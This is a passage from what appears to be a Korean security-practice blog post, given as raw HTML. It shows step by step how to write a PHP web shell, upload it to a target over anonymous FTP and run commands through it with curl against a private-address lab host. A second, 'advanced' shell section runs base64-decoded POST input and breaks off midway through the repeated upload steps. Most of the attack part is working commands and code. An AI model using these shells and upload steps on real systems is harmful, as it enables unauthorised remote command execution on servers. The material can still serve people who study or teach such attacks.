&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;463&quot; data-origin-height=&quot;34&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/degjVs/dJMcaiX905V/WwzkUoQ32uUih9ssljNSLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/degjVs/dJMcaiX905V/WwzkUoQ32uUih9ssljNSLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/degjVs/dJMcaiX905V/WwzkUoQ32uUih9ssljNSLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdegjVs%2FdJMcaiX905V%2FWwzkUoQ32uUih9ssljNSLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;463&quot; height=&quot;34&quot; data-origin-width=&quot;463&quot; data-origin-height=&quot;34&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;단계1. 웹 쉘 생성&lt;br /&gt;단계2. Target FTP 접속&lt;span&gt;&lt;br /&gt;&lt;/span&gt;단계3. pub 디렉터리로 이동&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;단계4. 파일 업로드&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;단계5. 업로드 확인&lt;br /&gt;단계6. FTP 종료&lt;br /&gt;단계7. kali를 통해 웹에서 실행 가능 여부 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; - 단계1. 웹 쉘 생성&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $&lt;span&gt; sudo echo '&amp;lt;?php system($_GET[&quot;c&quot;]); ?&amp;gt;' &amp;gt; /tmp/ws.php&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;ls -l /tmp/ws.php&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;cat&amp;nbsp;/tmp/ws.php&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;490&quot; data-origin-height=&quot;175&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCiNXq/dJMcabZaxxc/IT84toPkya1da9DOUhehj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCiNXq/dJMcabZaxxc/IT84toPkya1da9DOUhehj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCiNXq/dJMcabZaxxc/IT84toPkya1da9DOUhehj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCiNXq%2FdJMcabZaxxc%2FIT84toPkya1da9DOUhehj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;490&quot; height=&quot;175&quot; data-origin-width=&quot;490&quot; data-origin-height=&quot;175&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&amp;nbsp;&lt;b&gt; &amp;nbsp; - 단계2. Target FTP 접속&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;ftp&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;192&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;.168.100.20 (Name: anonymous, Password: [Enter])&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;340&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caypYg/dJMcacRcYl2/8xSUlrdAIIWy9vXestyXLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caypYg/dJMcacRcYl2/8xSUlrdAIIWy9vXestyXLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caypYg/dJMcacRcYl2/8xSUlrdAIIWy9vXestyXLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaypYg%2FdJMcacRcYl2%2F8xSUlrdAIIWy9vXestyXLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;340&quot; height=&quot;136&quot; data-origin-width=&quot;340&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; - 단계3. pub 디렉터리로 이동&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt; cd pub&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;pwd&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ls -l&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;378&quot; data-origin-height=&quot;131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QnK5C/dJMcacKyl15/5HOoPKsAzqd5yuumoMfTrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QnK5C/dJMcacKyl15/5HOoPKsAzqd5yuumoMfTrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QnK5C/dJMcacKyl15/5HOoPKsAzqd5yuumoMfTrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQnK5C%2FdJMcacKyl15%2F5HOoPKsAzqd5yuumoMfTrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;378&quot; height=&quot;131&quot; data-origin-width=&quot;378&quot; data-origin-height=&quot;131&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; -&lt;span&gt; &lt;/span&gt;&lt;/span&gt;단계4. 파일 업로드&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;put /tmp/ws.php ws.php&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1063&quot; data-origin-height=&quot;115&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LbEKJ/dJMcacqeDfA/dDiWlauLuVOvrLprLBrs5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LbEKJ/dJMcacqeDfA/dDiWlauLuVOvrLprLBrs5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LbEKJ/dJMcacqeDfA/dDiWlauLuVOvrLprLBrs5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLbEKJ%2FdJMcacqeDfA%2FdDiWlauLuVOvrLprLBrs5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1063&quot; height=&quot;115&quot; data-origin-width=&quot;1063&quot; data-origin-height=&quot;115&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; -&lt;span&gt; &lt;/span&gt;&lt;/span&gt;단계5. 업로드 확인&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ls -l&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;83&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8tZHu/dJMb9973eA6/Oxllgc6ybCUaI5S4TpF4P1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8tZHu/dJMb9973eA6/Oxllgc6ybCUaI5S4TpF4P1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8tZHu/dJMb9973eA6/Oxllgc6ybCUaI5S4TpF4P1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8tZHu%2FdJMb9973eA6%2FOxllgc6ybCUaI5S4TpF4P1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;514&quot; height=&quot;83&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;83&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;b&gt; -&lt;span&gt; &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;단계6. FTP 종료&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;bye&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;126&quot; data-origin-height=&quot;36&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhJDSI/dJMcagGbHIy/lVeKgAHeEuK1R3yOJWyHLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhJDSI/dJMcagGbHIy/lVeKgAHeEuK1R3yOJWyHLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhJDSI/dJMcagGbHIy/lVeKgAHeEuK1R3yOJWyHLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhJDSI%2FdJMcagGbHIy%2FlVeKgAHeEuK1R3yOJWyHLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;126&quot; height=&quot;36&quot; data-origin-width=&quot;126&quot; data-origin-height=&quot;36&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp;&lt;b&gt; &amp;nbsp; -&lt;span&gt; &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;단계7. kali를 통해 웹에서 실행 가능 여부 확인&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;$&lt;span&gt;&lt;span&gt; curl&amp;nbsp;&quot;http://192.168.100.20/var/www/html/pub/ws.php?c=id&quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- 파일이 업로드 된 실제 경로를 넣었을 때, 404 상태 코드와 함께 웹쉘이 실행되지 않는 것을 확인 가능&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;627&quot; data-origin-height=&quot;188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzSdfM/dJMb99UwdQh/fgtnjFuRkUALElv3rZ8Wy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzSdfM/dJMb99UwdQh/fgtnjFuRkUALElv3rZ8Wy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzSdfM/dJMb99UwdQh/fgtnjFuRkUALElv3rZ8Wy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzSdfM%2FdJMb99UwdQh%2FfgtnjFuRkUALElv3rZ8Wy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;627&quot; height=&quot;188&quot; data-origin-width=&quot;627&quot; data-origin-height=&quot;188&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; $&amp;nbsp;curl&amp;nbsp;&quot;http://192.168.100.20/pub/ws.php?c=id&quot; &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-&lt;span&gt; /var/www/html은 Apache의 웹루트로 해당 경로는 포함되지 않아야 실행 가능&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; 명령어 확인 시 웹 쉘을 통한 id 확인 가능&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;67&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m8sub/dJMcafmX657/kAoSMfesSoKchoEzofo1W0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m8sub/dJMcafmX657/kAoSMfesSoKchoEzofo1W0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m8sub/dJMcafmX657/kAoSMfesSoKchoEzofo1W0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm8sub%2FdJMcafmX657%2FkAoSMfesSoKchoEzofo1W0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;67&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;67&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;u&gt;3. 고급 WebShell 업로드&lt;/u&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; - 단계1. 웹 쉘 생성&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; cat&amp;nbsp;&amp;gt;&amp;nbsp;/tmp/adv_ws.php&amp;nbsp;&amp;lt;&amp;lt;'PHP' &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;?php if(isset($_POST['x'])) system(base64_decode($_POST['x'])); ?&amp;gt; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;PHP&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;572&quot; data-origin-height=&quot;75&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J9Msm/dJMcafN3JDP/EwT9HggOE8eq3khWC9JkMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J9Msm/dJMcafN3JDP/EwT9HggOE8eq3khWC9JkMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J9Msm/dJMcafN3JDP/EwT9HggOE8eq3khWC9JkMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ9Msm%2FdJMcafN3JDP%2FEwT9HggOE8eq3khWC9JkMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;572&quot; height=&quot;75&quot; data-origin-width=&quot;572&quot; data-origin-height=&quot;75&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp; - 단계2. Target FTP 접속&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;ftp&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;192.168.100.20 (Name: anonymous, Password: [Enter])&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;340&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caypYg/dJMcacRcYl2/8xSUlrdAIIWy9vXestyXLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caypYg/dJMcacRcYl2/8xSUlrdAIIWy9vXestyXLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caypYg/dJMcacRcYl2/8xSUlrdAIIWy9vXestyXLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaypYg%2FdJMcacRcYl2%2F8xSUlrdAIIWy9vXestyXLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;340&quot; height=&quot;136&quot; data-origin-width=&quot;340&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; - 단계3. pub 디렉터리로 이동&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt; cd pub&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;pwd&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ls -l&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;378&quot; data-origin-height=&quot;131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QnK5C/dJMcacKyl15/5HOoPKsAzqd5yuumoMfTrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QnK5C/dJMcacKyl15/5HOoPKsAzqd5yuumoMfTrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QnK5C/dJMcacKyl15/5HOoPKsAzqd5yuumoMfTrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQnK5C%2FdJMcacKyl15%2F5HOoPKsAzqd5yuumoMfTrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;378&quot; height=&quot;131&quot; data-origin-width=&quot;378&quot; data-origin-height=&quot;131&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
